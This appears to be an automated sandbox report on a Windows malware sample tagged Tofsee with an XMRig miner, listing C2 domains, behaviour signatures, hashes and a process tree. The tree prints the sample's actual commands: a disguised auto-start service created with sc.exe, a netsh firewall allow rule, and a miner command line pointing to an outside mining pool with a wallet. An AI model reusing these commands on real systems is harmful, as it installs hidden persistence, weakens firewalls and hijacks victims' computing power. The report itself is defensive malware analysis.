Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 07:56

General

  • Target
    file.exe
  • Size 307KB
  • Sample230107-jspmcsda93
  • SHA256 334015f05445a8d141ca5281cb8309b2048065e152b13584a038e7983b0beb42
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 6 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gqfkhxcx\
      2⤵
        PID:1048
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe" C:\Windows\SysWOW64\gqfkhxcx\
        2⤵
          PID:5012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gqfkhxcx binPath= "C:\Windows\SysWOW64\gqfkhxcx\gaqhkilu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gqfkhxcx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gqfkhxcx
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1132
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1204
          2⤵
          • Program crash
          PID:4900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1160
          2⤵
          • Program crash
          PID:1684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 640
          2⤵
          • Program crash
          PID:3580
      • C:\Windows\SysWOW64\gqfkhxcx\gaqhkilu.exe
        C:\Windows\SysWOW64\gqfkhxcx\gaqhkilu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:364
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3316
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 276
          2⤵
          • Program crash
          PID:4752
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 532
          2⤵
          • Program crash
          PID:4728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 548
          2⤵
          • Program crash
          PID:4416
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4772 -ip 4772
        1⤵
          PID:220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4772 -ip 4772
          1⤵
            PID:2736
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4772 -ip 4772
            1⤵
              PID:1864
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 364 -ip 364
              1⤵
                PID:656
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 364 -ip 364
                1⤵
                  PID:3396
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 364 -ip 364
                  1⤵
                    PID:3368

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        gaqhkilu.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe
                        • Size 10.1MB
                        • SHA256 939dd06f2e365424067dbe3c845424ce863a38e36190d5bbb0bdde8bd87da23e
                        • MD5 SHA1 SHA512 SSDEEP

                        gaqhkilu.exe

                        • Path C:\Windows\SysWOW64\gqfkhxcx\gaqhkilu.exe
                        • Size 10.1MB
                        • SHA256 939dd06f2e365424067dbe3c845424ce863a38e36190d5bbb0bdde8bd87da23e
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/364-148-0x0000000003399000-0x00000000033AE000-memory.dmp

                        memory/364-150-0x0000000000400000-0x0000000003010000-memory.dmp

                        memory/3316-176-0x0000000001000000-0x00000000010F1000-memory.dmp

                        memory/3316-171-0x0000000001000000-0x00000000010F1000-memory.dmp

                        memory/4724-164-0x0000000007600000-0x0000000007A0B000-memory.dmp

                        memory/4724-167-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

                        memory/4724-149-0x0000000000820000-0x0000000000835000-memory.dmp

                        memory/4724-145-0x0000000000820000-0x0000000000835000-memory.dmp

                        memory/4724-151-0x0000000000820000-0x0000000000835000-memory.dmp

                        memory/4724-152-0x0000000002600000-0x000000000280F000-memory.dmp

                        memory/4724-155-0x0000000001DA0000-0x0000000001DA6000-memory.dmp

                        memory/4724-158-0x0000000001DB0000-0x0000000001DC0000-memory.dmp

                        memory/4724-161-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

                        memory/4772-143-0x0000000000400000-0x0000000003010000-memory.dmp

                        memory/4772-132-0x000000000311D000-0x0000000003133000-memory.dmp

                        memory/4772-135-0x0000000000400000-0x0000000003010000-memory.dmp

                        memory/4772-133-0x00000000030E0000-0x00000000030F3000-memory.dmp